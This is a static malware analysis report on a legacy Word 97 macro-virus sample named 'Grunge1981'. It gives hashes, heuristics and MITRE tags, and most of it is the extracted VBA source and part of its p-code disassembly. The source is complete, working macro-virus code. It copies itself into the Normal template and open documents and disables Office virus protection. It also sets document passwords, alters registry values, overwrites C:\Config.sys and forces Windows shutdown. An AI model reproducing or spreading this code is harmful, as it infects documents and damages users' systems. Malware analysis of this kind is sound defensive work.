Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 da6e8154e66ee9e1…

MALICIOUS

Office (OLE)

72.0 KB Created: 2001-04-26 13:07:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: 4017fbdbfbbfd5549981f1df7338a373 SHA-1: 38450d06bf9b5cde8db415f2447bf17f05067c48 SHA-256: da6e8154e66ee9e1979dd05d195e85f5bc72ec91e328b69025fb8eb2bc08c2ec
138 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro-virus, including the presence of WordBasic markers and VBA macros that attempt to disable Office macro protection and self-replicate. The embedded URL 'http://www.1981.com' and the heuristic firings strongly suggest malicious intent, likely for further payload delivery or command and control. The script also attempts to modify the registry key 'HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings' to disable macro warnings.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            '       .DeleteLines 1, .CountOfLines
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
       AutoOpen
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.1981.com In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 57590 bytes
SHA-256: 1ee5e4f22bcfc1935a393e390f1472b5ffb6da24406592836529be9ad3804c24
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Grunge1981"
'/////////////////////////////////////////////////////////////////////////////////////'
'/ I thank for all my friend in bandung UB2756                                       /'
'/ This version new in year 2001 by Grunge v(Nìñè Tèèñ 80 Oñè)-2                     /'
'/ Keep cool and be funky, Bandung 19 January 2001                                   /'
'/ You have a royalty-free right to use, modify, reproduce and distribute            /'
'/ this file (and/or any modified version) in any way you find useful,               /'
'/ but you don't remove my copyright, you can add your copyright in top this module. /'
'/////////////////////////////////////////////////////////////////////////////////////'
' other copyright here......

Public Const NMod = "Grunge1981", NDoc = "ThisDocument", Nform = "Frm1981"
Public Const OpWord = "Show Me What You Got"
Public Const ClWord = "My heart is sick, cause you not like me...", MG2 = "9 Teen 80 One is back."
Public Const IHeart = "please don't ask, why my heart is sick...", _
             Forget = "I can't forget your face in my memory", _
             Fucks = "You fuck and not have heart my friend..."
Public Const TMac = "you can't open VB, please call me in www.9Teen80One.id"
Public CekPas As Variant, Benar As Boolean
Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Public ThisDay As Boolean
Sub Grunge_Clear(theObject As Object)
On Error Resume Next
Dim NamaMac
For I = 1 To Application.VBE.VBProjects.Count
    For Each NamaMac In theObject.VBProject.VBComponents
        If NamaMac.Name <> NMod And NamaMac.Name <> NDoc And NamaMac.Name <> Nform Then
            Application.OrganizerDelete Source:=theObject.FullName, _
            Name:=NamaMac.Name, Object:=wdOrganizerObjectProjectItems
            'Application.VBE.VBProjects.Item(NamaMac).VBComponents.Remove NamaMac
            Application.Caption = MG2
        End If
        'If NamaMac.Name = NDoc Then
        '   With NamaMac.CodeModule
        '       .DeleteLines 1, .CountOfLines
        '   End With
        'End If
Next NamaMac
Next I
End Sub

Sub CopyObject(FromObj As Object, ToObj As Object)
On Error Resume Next
Dim ATemp As Template
For Each ATemp In Templates
   Application.OrganizerCopy Source:=FromObj.FullName, _
   Destination:=ToObj.FullName, Name:=NMod, Object:=wdOrganizerObjectProjectItems
   Application.OrganizerCopy Source:=FromObj.FullName, _
   Destination:=ToObj.FullName, Name:=Nform, Object:=wdOrganizerObjectProjectItems
Next ATemp
End Sub

Function FindME(theObject As Object) As Boolean
Dim aDocProp As DocumentProperty
    FindME = False
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name = NMod Then
            FindME = True
            Exit Function
        End If
    Next anObject
End Function

Sub CallDoc()
On Error Resume Next
Dim Adoc As Document, DT
DT = Format(Date, "DD-MM-YYYY")
    For Each Adoc In Documents
        CopyObject NormalTemplate, Documents(Adoc.Name)
        If Left(DT, 2) = "19" And Month(Now) = 3 Then
           Adoc.Password = "NineTeen80One"
        End If
    Next Adoc
    If Documents.Count > 0 Then CopyObject NormalTemplate, ActiveDocument.AttachedTemplate
End Sub

Sub CallNormal()
On Error Resume Next
Dim ATemp As Template
     If Documents.Count > 0 Then
        CopyObject ActiveDocument, NormalTemplate
        If ActiveDocument.AttachedTemplate <> NormalTemplate Then _
            CopyObject ActiveDocument, ActiveDocument.AttachedTemplate
        For Each ATemp In Templates
            CopyObject ActiveDocument, ATemp
        Next ATemp
    End If
    With NormalTemplate.VBProject.VBComponents(1).CodeModule
        .DeleteLines 1, .CountOfLines
    End With
End Sub
Sub Saving()
On Error Resume Next
With Application
   Grunge_Clear .ActiveDocument
   Grunge_Clear .NormalTemplate
   CallDoc
   CallNormal
   If Not ActiveDocument.Saved And ActiveDocument.Characters.Count > 0 Then .ActiveDocument.Save
   .NormalTemplate.Save
End With
End Sub

Sub CapWord(Nm As String, Pan As Integer)
On Error Resume Next
Application.Caption = ""
For I = 1 To Pan
  For K = 1 To 1000
  Next K
    Application.Caption = Mid$(Nm, 1, I)
Next I
End Sub

Sub WordMsg()
CapWord MG2, Len(MG2)
Application.OnTime Now + TimeValue("00:00:06"), Name:="IHate"
End Sub

Sub IHate()
CapWord OpWord, Len(OpWord)
Application.OnTime Now + TimeValue("00:00:30"), Name:="CMsg"
End Sub
Sub CMsg()
CapWord ClWord, Len(ClWord)
Application.OnTime Now + TimeValue("00:00:50"), Name:="M1"
End Sub
Sub M1()
CapWord IHeart, Len(IHeart)
Application.OnTime Now + TimeValue("00:01:10"), Name:="M2"
End Sub
Sub M2()
CapWord Forget, Len(Forget)
WordBasic.DisableAutoMacros False: Application.ShowVisualBasicEditor = False
Application.OnTime Now + TimeValue("00:01:30"), Name:="M3"
End Sub
Sub M3()
On Error Resume Next
CapWord Fucks, Len(Fucks)
Application.OnTime Now + TimeValue("00:01:50"), Name:="WordMsg"
If (WeekDay(Date) <> vbFriday) And (WeekDay(Date) <> vbWednesday) Then
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Icon = msoIconTip
    .Animation = msoAnimationSaving
    .Heading = "For My Friend"
    .Text = ClWord & Chr(13) & IHeart & Chr(13) & _
            Forget & Chr(13) & Fucks & Chr(13) & Chr(13) & "        9 Teen 80 One is cool"
    Application.Assistant.Move 200, 200
    .show
End With
End If
Beep
Application.OnTime Now + TimeValue("00:00:03"), Name:="Calldoc"
End Sub
Sub CProp()
On Error Resume Next
Beep
Dim aDocProp As DocumentProperty
    For Each aDocProp In NormalTemplate.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
    NormalTemplate.CustomDocumentProperties.Add _
            Name:="Nìñè Tèèñ 80 Oñè", _
            Type:=msoPropertyTypeNumber, _
            Value:="112", _
            LinkToContent:=False
End Sub

Sub GrungeCek()
On Error Resume Next
    With Application.Options
        .SaveNormalPrompt = False
        .SavePropertiesPrompt = False
        .VirusProtection = False
    End With
WordBasic.DisableAutoMacros True: Application.ShowVisualBasicEditor = False
ActiveDocument.CommandBars.Item(9).Enabled = False: ActiveDocument.CommandBars.Item(29).Enabled = False
UserName = MG2: UserInitials = "Trust to me": UserAddress = "www.9Teen80One.id"
End Sub

Sub FileSave()
On Error Resume Next
CapWord "Saving Nìñè Tèèñ 80 Oñè, please wait...", 33
Saving
CapWord MG2, Len(MG2)
End Sub
Sub AutoSave()
FileSave
End Sub

Sub FileOpen()
On Error Resume Next
WordMsg
GrungeCek
If Dialogs(wdDialogFileOpen).show <> 0 Then
   AutoOpen
End If
End Sub
Sub RegisterSys()
Dim HCU As String, HLM As String, Fold As String
HCU = "HKEY_CURRENT_USER"
HLM = "HKEY_LOCAL_MACHINE"
Fold = "\SOFTWARE\Microsoft\Windows\CurrentVersion"
System.PrivateProfileString("", HLM & "\>$#1Nìñè Tèèñ 80 Oñè", "Nìñè Tèèñ 80 Oñè") = "Kill Any Register, and i can't found"
System.PrivateProfileString("", HLM & Fold, "RegisteredOwner") = "Nìñè Tèèñ 80 Oñè"
System.PrivateProfileString("", HLM & Fold, "RegisteredOrganization") = MG2
System.PrivateProfileString("", HCU & "\Software\Classes\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}", "") = "Nìñè Tèèñ 80 Oñè Pañèl"
System.PrivateProfileString("", HLM & "\Software\CLASSES\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}", "") = "Døçùmèñt 1981"
System.PrivateProfileString("", HCU & "\Software\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "Rè©ÿ©lè iñ 1981"
System.PrivateProfileString("", HCU & "\Software\Classes\CLSID\{2227A280-3AEA-1069-A2DE-08002B30309D}", "") = "Prìñtèr 1981"
System.PrivateProfileString("", HCU & "\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}", "") = "Nìñè Tèèñ 80 Oñè"
System.PrivateProfileString("", HCU & "\Control Panel\International", "s1159") = "By-1981"
System.PrivateProfileString("", HCU & "\Control Panel\International", "s2359") = "By-1981"
System.PrivateProfileString("", HCU & "\Control Panel\International", "sTimeFormat") = "HH:mm:ss tt"
System.PrivateProfileString("", HLM & Fold & "\Winlogon", "LegalNoticeCaption") = "Nìñè Tèèñ 80 Oñè"
System.PrivateProfileString("", HLM & Fold & "\Winlogon", "LegalNoticeText") = ClWord & Chr(13) & IHeart & Chr(13) & Forget & Chr(13) & Fucks
End Sub
Sub AutoClose()
On Error Resume Next
Dim Data As String, Tim As String
Data = Format(Date, "DDDD, DD-MMMM-YYYY")
Tim = Format(Time, "HH:MM:SS AMPM")
CapWord MG2, Len(MG2)
Application.UserName = "Nìñè Tèèñ 80 Oñè"
If ActiveDocument.Saved = True Then Documents.Save
RegisterSys
PathFile = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
MkDir (PathFile & "\System32x")
WritePrivateProfileString Application.ActiveDocument.Name & "-" & ActiveDocument.FullName, ";Date infected    : ", Data, PathFile & "\System32x\Global.inf"
WritePrivateProfileString Application.ActiveDocument.Name & "-" & ActiveDocument.FullName, ";Time infected    : ", Tim, PathFile & "\System32x\Global.inf"
WritePrivateProfileString Application.ActiveDocument.Name & "-" & ActiveDocument.FullName, ";File Name        : ", ActiveDocument.FullName, PathFile & "\System32x\Global.inf"
WritePrivateProfileString Application.ActiveDocument.Name & "-" & ActiveDocument.FullName, ";User Name        : ", Application.UserName, PathFile & "\System32x\Global.inf"
RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
Open "C:\Config.sys" For Output As #1
     Print #1, "Device=" & RootsyS & "\Command\Ansi.sys"
     Print #1, "SET WINPMT=$e[s$e[f$e[0;316;41;1m$e[K - I Don't Trust NoBody IF EveryBody Not Like Me (Nine Teen 80 One) - $_$e[0;40;37;1m$e[K$e[u$P$G"
Close #1
MyDay
End Sub
Sub MyDay()
DT = Format(Date, "DD-MM-YYYY")
If Left(DT, 2) = "19" Then
   MsgBox "Now is my lucky day, i hope you at enjoy now," & Chr(13) & "Nìñè Tèèñ 80 Oñè is keep smile, bye...bye...bye..."
   ExitWindowsEx 1, 0
End If
End Sub
Sub AutoExit()
On Error Resume Next
MyDay
If (WeekDay(Date) = vbFriday) Or (WeekDay(Date) = vbWednesday) Then
On Error GoTo Salah
    M3
    CapWord ClWord, Len(ClWord)
    Exit Sub
Salah:
    MsgBox OpWord, 16, MG2
    CapWord ClWord, Len(ClWord)
End If
End Sub
Sub viewvbcode()
ToolsMacro
End Sub
Sub ToggleFormsDesign()
ToolsMacro
End Sub
Sub viewcode()
ToolsMacro
End Sub
Sub FileClose()
On Error Resume Next
AutoClose
Application.ActiveDocument.Close
End Sub
Sub FileNewDefault()
On Error Resume Next
CapWord "Cool " & MG2, Len(MG2) + 5
WordBasic.FileNewDefault
CopyObject NormalTemplate, ActiveDocument
End Sub
Sub FileExit()
AutoClose
Application.Quit
End Sub
Sub FileNew()
On Error Resume Next
If Dialogs(wdDialogToolsTemplates).show <> 0 Then AutoOpen
SendKeys "Nìñè Tèèñ 80 Oñè is back", True
End Sub
Sub HelpAbout()
On Error Resume Next
Dim H
On Error GoTo Salah
    Frm1981.show
    Exit Sub
Salah:
H = InputBox("Please insert Password", MG2, "Fuck Up")
If H = "-*.*-" Then
   WordBasic.DisableAutoMacros False
    Application.ShowVisualBasicEditor = True
    Else
        CekPas = CekPas + 1
        MsgBox "Wrong Password to open my zone, i hope you don't try again", 16, "Nìñè Tèèñ 80 Oñè PASSWORD"
        If CekPas = 3 Then
           MsgBox "I Kill You Now........,bye...bye...bye...", 48, "Nìñè Tèèñ 80 Oñè Warning !"
           ExitWindowsEx 1, 0
        End If
End If
End Sub
Sub ToolsOptions()
Dim H
On Error Resume Next
H = InputBox("Please insert Password", MG2, "Fuck Up")
If H = "-*.*-" Then
   WordBasic.DisableAutoMacros False
    Application.Dialogs(wdDialogToolsOptions).show
    Else
        CekPas = CekPas + 1
         MsgBox "Wrong Password to open my zone, i hope you don't try again", 16, "Nine Teen 80 One PASSWORD"
        If CekPas = 3 Then
           MsgBox "I Kill You Now........,bye...bye...bye...", 48, "Nine Teen 80 One Warning !"
           ExitWindowsEx 1, 0
        End If
End If
End Sub
Sub ToolsMacro()
On Error Resume Next
M3
HelpAbout
CapWord TMac, Len(TMac)
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Heading = "Regional Sales Data"
    .Text = ClWord & Chr(13) & IHeart & Chr(13) & Forget & Chr(13) & Fucks
    .show
End With
End Sub
Sub AutoExec()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
CekPas = 0
If Left(Format(Date, "DD"), 2) = 27 Then
   Frm1981.lblday.Caption = "You can't open on this day, because i like this day."
   ThisDay = True
   Frm1981.show
End If
WordBasic.DisableAutoMacros True
Application.EnableCancelKey = wdCancelDisabled
If FindME(NormalTemplate) Then
   CProp
   Application.Run "normal.Grunge1981.Calldoc"
    Else
        Grunge_Clear NormalTemplate
        CallNormal
        On Error Resume Next
        NormalTemplate.Save
End If
For I = 1 To 10: Application.CommandBars.Item(I).Protection = msoBarNoCustomize: Next I
WordBasic.DisableAutoMacros True: Application.ShowVisualBasicEditor = False
Application.Run "Normal.Grunge1981.M3"
End Sub

Sub AutoOpen()
On Error Resume Next
RecentFiles.Maximum = 0
BackGround
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros True
GrungeCek
WordMsg
CapWord MG2, Len(MG2)
Grunge_Clear ActiveDocument
If FindME(NormalTemplate) Then
   Grunge_Clear ActiveDocument
   Application.OnTime Now + TimeValue("00:00:05"), Name:="Grunge1981.CallDoc"
   Application.Run "normal.Grunge1981.CallDoc"
   Application.ActiveDocument.VBProject.Name = "NineTeen80One"
        If Documents.Count > 0 Then
            On Error Resume Next
            If Not ActiveDocument.Saved And ActiveDocument.Characters.Count > 0 Then ActiveDocument.Save
        End If
    Else
        Grunge_Clear NormalTemplate
        CallNormal
        On Error Resume Next
        NormalTemplate.Save
End If
For I = 1 To 10: Application.CommandBars.Item(I).Protection = msoBarNoCustomize: Next I

End Sub

Sub BackGround()
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\1981.htm" For Output As #1
 Print #1, "<html><head>"
 Print #1, "<meta http-equiv='Content-Type'"
 Print #1, "content='text/html; charset=iso-8859-1'>"
 Print #1, "</head>"
 Print #1, "<body bgcolor='#000000' text='#FFFFFF'>"
 Print #1, "<p align='center'><font color='#FF0000' size='5' face='Arial'><strong>Nìñè"
 Print #1, "Tèèñ 80 Oñè is Back</strong></font></p>"
 Print #1, "<p align='center'>©reated Nìñè Tèèñ 80 Oñè 2001, Bandung</p>"
 Print #1, "<p align='center'>Show me what you got</p>"
 Print #1, "<table border='2'> <tr>"
 Print #1, "<td><img src='\..\..\Logo.sys' width='751' height='327'></td></tr>"
 Print #1, "</table>"
 Print #1, "<p align='center'>I Hate Nobody If Nobody Not Like Me And I Don't"
 Print #1, "Trust Nobody If Nobody Hate Me</p>"
 Print #1, "<p align='center'><a href='http://www.1981.com'><font size='5'>www.1981.com</font></a></p>"
 Print #1, "</body></html>"; 1981#; htm
 Close #1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\1981.htm"
End Sub

Attribute VB_Name = "Frm1981"
Attribute VB_Base = "0{DC690964-3A55-11D5-8542-00047621CA03}{DC69095D-3A55-11D5-8542-00047621CA03}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False










































Private Sub CmdCancel_Click()
Unload Frm1981
If ThisDay = True Then Application.Quit: Exit Sub
End Sub
Private Sub CmdOK_Click()
On Error Resume Next
If (TxtUser.Text = Label4.Caption Or TxtUser.Text = "Macro$oft") And (TxtPas.Text = "70107334652001") Then
   MsgBox "Thank you, password is true.......", 48, "Infrmation "
        If ThisDay = False Then
            WordBasic.DisableAutoMacros False
            Application.ShowVisualBasicEditor = True
            CekPas = 0
            Unload Frm1981
            Exit Sub
        Else
            CekPas = 0
            ThisDay = False
            Unload Frm1981
            Application.ShowMe
            Exit Sub
        End If
   Else
   WordBasic.DisableAutoMacros True
   Application.ShowVisualBasicEditor = False
   MsgBox " Your Password in invalid, please try again......"
   TxtUser = ""
   TxtPas = ""
   TxtUser.SetFocus
   If CekPas = 3 Then
           If ThisDay = True Then Application.Quit: Exit Sub
           MsgBox "I Kill You Now........,bye...bye...bye...", 48, "Nine Teen 80 One Warning !"
           ExitWindowsEx 1, 0
   End If
   CekPas = CekPas + 1
End If
End Sub
Private Sub TxtPas_Change()
TxtUser_Change
End Sub
Private Sub TxtUser_Change()
CmdOK.Enabled = Len(TxtUser.Text) > 0 And Len(TxtPas.Text) > 0
End Sub
Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
If ThisDay = True Then Application.Quit
End Sub

' Processing file: /opt/analyzer/scan_staging/1eb208ef6eb84158b89f4f1126a4ab1c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/Grunge1981 - 27511 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0056 "/////////////////////////////////////////////////////////////////////////////////////'"
' Line #1:
' 	QuoteRem 0x0000 0x0056 "/ I thank for all my friend in bandung UB2756                                       /'"
' Line #2:
' 	QuoteRem 0x0000 0x0056 "/ This version new in year 2001 by Grunge v(Nìñè Tèèñ 80 Oñè)-2                     /'"
' Line #3:
' 	QuoteRem 0x0000 0x0056 "/ Keep cool and be funky, Bandung 19 January 2001                                   /'"
' Line #4:
' 	QuoteRem 0x0000 0x0056 "/ You have a royalty-free right to use, modify, reproduce and distribute            /'"
' Line #5:
' 	QuoteRem 0x0000 0x0056 "/ this file (and/or any modified version) in any way you find useful,               /'"
' Line #6:
' 	QuoteRem 0x0000 0x0056 "/ but you don't remove my copyright, you can add your copyright in top this module. /'"
' Line #7:
' 	QuoteRem 0x0000 0x0056 "/////////////////////////////////////////////////////////////////////////////////////'"
' Line #8:
' 	QuoteRem 0x0000 0x001B " other copyright here......"
' Line #9:
' Line #10:
' 	Dim (Public Const) 
' 	LitStr 0x000A "Grunge1981"
' 	VarDefn NMod
' 	LitStr 0x000C "ThisDocument"
' 	VarDefn NDoc
' 	LitStr 0x0007 "Frm1981"
' 	VarDefn Nform
' Line #11:
' 	Dim (Public Const) 
' 	LitStr 0x0014 "Show Me What You Got"
' 	VarDefn OpWord
' Line #12:
' 	Dim (Public Const) 
' 	LitStr 0x002A "My heart is sick, cause you not like me..."
' 	VarDefn ClWord
' 	LitStr 0x0016 "9 Teen 80 One is back."
' 	VarDefn MG2
' Line #13:
' 	LineCont 0x0008 06 00 0D 00 0A 00 0D 00
' 	Dim (Public Const) 
' 	LitStr 0x0029 "please don't ask, why my heart is sick..."
' 	VarDefn IHeart
' 	LitStr 0x0025 "I can't forget your face in my memory"
' 	VarDefn Forget
' 	LitStr 0x0028 "You fuck and not have heart my friend..."
' 	VarDefn Fucks
' Line #14:
' 	Dim (Public Const) 
' 	LitStr 0x0036 "you can't open VB, please call me in www.9Teen80One.id"
' 	VarDefn TMac
' Line #15:
' 	Dim (Public) 
' 	VarDefn CekPas (As Variant)
' 	VarDefn Benar (As Boolean)
' Line #16:
' 	FuncDefn (Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long)
' Line #17:
' 	FuncDefn (Declare Function WritePrivateProfileString Lib "kernel32" (ByVal lpApplicationName As String, ByVal lpKeyName As , ByVal lpString As , ByVal lpFileName As String) As Long)
' Line #18:
' 	Dim (Public) 
' 	VarDefn ThisDay (As Boolean)
' Line #19:
' 	FuncDefn (Sub Grunge_Clear(theObject As Object))
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	Dim 
' 	VarDefn NamaMac
' Line #22:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd VBProjects 
' 	MemLd Count 
' 	For 
' Line #23:
' 	StartForVariable 
' 	Ld NamaMac 
' 	EndForVariable 
' 	Ld theObject 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #24:
' 	Ld NamaMac 
' 	MemLd New 
' 	Ld NMod 
' 	Ne 
' 	Ld NamaMac 
' 	MemLd New 
' 	Ld NDoc 
' 	Ne 
' 	And 
' 	Ld NamaMac 
' 	MemLd New 
' 	Ld Nform 
' 	Ne 
' 	And 
' 	IfBlock 
' Line #25:
' 	LineCont 0x0004 09 00 0C 00
' 	Ld theObject 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NamaMac 
' 	MemLd New 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #26:
' 	QuoteRem 0x000C 0x0044 "Application.VBE.VBProjects.Item(NamaMac).VBComponents.Remove NamaMac"
' Line #27:
' 	Ld MG2 
' 	Ld Application 
' 	MemSt Caption 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	QuoteRem 0x0008 0x001B "If NamaMac.Name = NDoc Then"
' Line #30:
' 	QuoteRem 0x0008 0x001A "   With NamaMac.CodeModule"
' Line #31:
' 	QuoteRem 0x0008 0x0024 "       .DeleteLines 1, .CountOfLines"
' Line #32:
' 	QuoteRem 0x0008 0x000B "   End With"
' Line #33:
' 	QuoteRem 0x0008 0x0006 "End If"
' Line #34:
' 	StartForVariable 
' 	Ld NamaMac 
' 	EndForVariable 
' 	NextVar 
' Line #35:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #36:
' 	EndSub 
' Line #37:
' Line #38:
' 	FuncDefn (Sub CopyObject(FromObj As Object, ToObj As Object))
' Line #39:
' 	OnError (Resume Next) 
' Line #40:
' 	Dim 
' 	VarDefn ATemp
' Line #41:
' 	StartForVariable 
' 	Ld ATemp 
' 	EndForVariable 
' 	Ld Templates 
' 	ForEach 
' Line #42:
' 	LineCont 0x0004 09 00 03 00
' 	Ld FromObj 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ToObj 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld NMod 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #43:
' 	LineCont 0x0004 09 00 03 00
' 	Ld FromObj 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ToObj 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld Nform 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #44:
' 	StartForVariable 
' 	Ld ATemp 
' 	EndForVariable 
' 	NextVar 
' Line #45:
' 	EndSub 
' Line #46:
' Line #47:
' 	FuncDefn (Function FindME(theObject As Object) As Boolean)
' Line #48:
' 	Dim 
' 	VarDefn aDocProp (As DocumentProperty)
' Line #49:
' 	LitVarSpecial (False)
' 	St FindME 
' Line #50:
' 	StartForVariable 
' 	Ld anObject 
' 	EndForVariable 
' 	Ld theObject 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #51:
' 	Ld anObject 
' 	MemLd New 
' 	Ld NMod 
' 	Eq 
' 	IfBlock 
' Line #52:
' 	LitVarSpecial (True)
' 	St FindME 
' Line #53:
' 	ExitFunc 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	StartForVariable 
' 	Ld anObject 
' 	EndForVariable 
' 	NextVar 
' Line #56:
' 	EndFunc 
' Line #57:
' Line #58:
' 	FuncDefn (Sub CallDoc())
' Line #59:
' 	OnError (Resume Next) 
' Line #60:
' 	Dim 
' 	VarDefn Adoc (As Document)
' 	VarDefn DT
' Line #61:
' 	Ld Date 
' 	LitStr 0x000A "DD-MM-YYYY"
' 	ArgsLd Format$ 0x0002 
' 	St DT 
' Line #62:
' 	StartForVariable 
' 	Ld Adoc 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #63:
' 	Ld NormalTemplate 
' 	Ld Adoc 
' 	MemLd New 
' 	ArgsLd Documents 0x0001 
' 	ArgsCall CopyObject 0x0002 
' Line #64:
' 	Ld DT 
' 	LitDI2 0x0002 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0002 "19"
' 	Eq 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0003 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #65:
' 	LitStr 0x000D "NineTeen80One"
' 	Ld Adoc 
' 	MemSt Password 
' Line #66:
' 	EndIfBlock 
' Line #67:
' 	StartForVariable 
' 	Ld Adoc 
' 	EndForVariable 
' 	NextVar 
' Line #68:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	Ld ActiveDocument 
' 	MemLd AttachedTemplate 
' 	ArgsCall CopyObject 0x0002 
' 	EndIf 
' Line #69:
' 	EndSub 
' Line #70:
' Line #71:
' 	FuncDefn (Sub CallNormal())
' Line #72:
' 	OnError (Resume Next) 
' Line #73:
' 	Dim 
' 	VarDefn ATemp
' Line #74:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #75:
' 	Ld ActiveDocument 
' 	Ld NormalTemplate 
' 	ArgsCall CopyObject 0x0002 
' Line #76:
' 	LineCont 0x0004 07 00 0C 00
' 	Ld ActiveDocument 
' 	MemLd AttachedTemplate 
' 	Ld NormalTemplate 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	Ld ActiveDocument 
' 	MemLd AttachedTemplate 
' 	ArgsCall CopyObject 0x0002 
' 	EndIf 
' Line #77:
' 	StartForVariable 
' 	Ld ATemp 
' 	EndForVariable 
' 	Ld Templates 
' 	ForEach 
' Line #78:
' 	Ld ActiveDocument 
' 	Ld ATemp 
' 	ArgsCall CopyObject 0x0002 
' Line #79:
' 	StartForVariable 
' 	Ld ATemp 
' 	EndForVariable 
' 	NextVar 
' Line #80:
' 	EndIfBlock 
' Line #81:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #82:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #83:
' 	EndWith 
' Line #84:
' 	EndSub 
' Line #85:
' 	FuncDefn (Sub Saving())
' Line #86:
' 	OnError (Resume Next) 
' Line #87:
' 	StartWithExpr 
' 	Ld Application 
